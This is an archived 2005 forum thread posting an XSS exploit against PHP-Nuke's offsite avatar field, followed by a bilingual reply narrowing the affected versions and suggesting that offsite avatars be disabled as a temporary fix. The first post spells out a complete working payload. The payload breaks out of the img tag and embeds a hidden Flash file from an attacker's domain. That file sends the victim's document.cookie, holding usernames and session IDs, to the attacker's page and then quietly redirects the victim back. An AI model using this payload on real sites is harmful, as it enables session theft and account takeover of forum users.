PDA

Bekijk Volledige Versie : PHP nuke XSS vulnerability



fjlj@wvi.com
24/06/05, 19:45
<strong>phP nuke exploit</strong>

<b>effects:</b>
all versions of php nuke

<b>solution:</b>
better filtering of offsite avatar selection.

in the avatar selection of the profile, u have the option of linking to an offsite image. this is the perfect place for an exploit.

by placing this line of code into the box it will close the current img tag and hide it.

<b>Code:</b>
" width=0 height=0>

after this code we will now call a specially crafted (not really) flash file from my web site.

<b>Code:</b>
<embed src=http://yourdomain.com/redirect.swf width=0 height=0>


this will view the swf and inside the swf is only one frame "an action frame" and the action will redirect your browser to a site on my page +document.cookie and in the cookie will be usernames and session ids. essentially enough to login as whoever it wa
s. that code is

<b>Code:</b>
geturl("javascript:location.replace('http://yourdomain.com/cookie.html?'+document.cookie)")

in cookie.html u might as well put in a redirect to send them back to the home page or something, as long as they dont see your code. ;)

now our fullcode is

<b>Code:</b>
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0>


now at the end we have to either start another img tag or close it so this is where i put my avatar

<b>Code:</b>
<img src=http://yourdomain.com/avatar.bmp


this code will add my avatar and the default img tag ending will close it.

our complete exploit code is

<b>Code:</b>
" width=0 height=0><embed src=http://yourdomain.com/redirect.swf width=0 height=0><img src=http://yourdomain.com/avatar.bmp


what it will do

1.)close the main img.
2.)open your swf.
3.)redirect them to your site
4.)log the cookie
5.)redirect them back
6.)show an avatar!

exploit found and written by FJLJ

wormz.web@gmail.com
25/06/05, 22:15
////////////////////////////////////////
// //
// ENGLISH //
// //
////////////////////////////////////////

www.wormzweb.tk

This bug do not affect all php-nuke versions because not all versions allow link offsite avatars.

Php-nuke use phpbb forums so perhaps that problem affects phpbb forums too.

Solution: A simple solution meanwhile a official solution will apear is this:

In http://yoursite/modules/Forums/admin/index.php
you can configure your forum options, in this options you can disable offsite avatars. This is not an official solution, is a temporal solution till an official will appear.

MORE INFO IN SPANISH:
http://usuarios.lycos.es/wormzweb/modules.php?name=News&file=article&sid=209

////////////////////////////////////////
// //
// ESPAÑOL //
// //
////////////////////////////////////////

www.wormzweb.tk

Este bug no afecta a todas las versiones de php-nuke ya que no todas las versiones permiten el enlace de avatares a imagenes externas a la web.

Php-nuke usa foros con phpbb por lo que quizá el problema sea en este tipo de foros y también se vean afectados.

Solución: Una solucion temporal NO OFICIAL es la siguiente mientras no aparece un parche ante este error.

En http://yoursite/modules/Forums/admin/index.php
se puede configurar las opciones del foro, una de estas opciones es deshabilitar los avatares externos, con esta opción solo se permitirá poner avatares internos a la web y por lo tanto no se podrá introducir el código del xploit.

PARA MAS INFORMACIÓN:
http://usuarios.lycos.es/wormzweb/modules.php?name=News&file=article&sid=209